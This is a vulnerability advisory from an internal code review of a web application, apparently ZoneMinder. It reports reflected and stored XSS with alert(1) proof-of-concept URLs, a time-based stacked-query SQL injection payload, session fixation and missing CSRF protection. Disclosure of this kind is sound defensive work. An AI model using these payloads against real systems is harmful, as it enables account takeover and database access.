CVSS 2.0: 4.3 (AV:N/AC:M/Au:N/C:P/I:N/A:N)


Impact
======
During an internal code review multiple vulnerabilities were identified.
The whole application misses input validation and output encoding.
This means user supplied input is inserted in an unsafe way.
This could allow a remote attacker to easily compromise user accounts or access the database in an unsafe way.

Issue Description
=================
The following findings are only examples there are quite more. The whole application should be reviewed.

All items tested using Firefox

1)Cross Site Scripting (XSS)
Reflected:
http://192.168.241.131/zm/index.php?view=request&request=log&task=download&key=a9fef1f4&format=texty9fke%27%3Chtml%3E%3Chead%3E%3C/head%3E%3Cbody%3E%3Cscript%3Ealert(1)%3C%2fscript%3E%3C/body%3E%3C/html%3Eayn2h
Reflected without authentication: http://192.168.241.131/zm/index.php/LSE4%22%3E%3Cscript%3Ealert(1)%3C/script%3ELSE
Stored: Creating a new monitor using the name "Bla<script>alert(1)</script>". There is only a clientside protection.

2)SQL Injection
Example Url:http://192.168.241.131/zm/index.php
Parameter: limit (POST)
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
    Payload: view=request&request=log&task=query&limit=100;(SELECT *
FROM (SELECT(SLEEP(5)))OQkj)#&minTime=1466674406.084434
Easy exploitable using sqlmap.

3)Session Fixation
After a successful authentication the Session Cookie ZMSESSID remains the same.
Example: Cookie before the login = ZMSESSID=26ga0i62e4e51mhfcb68nk3dg2 after successful login
ZMSESSID=26ga0i62e4e51mhfcb68nk3dg2

4)No CSRF Proctection
A possible CSRF attack form, which changes the password of the admin (uid=1), if the corresponding user activates it.
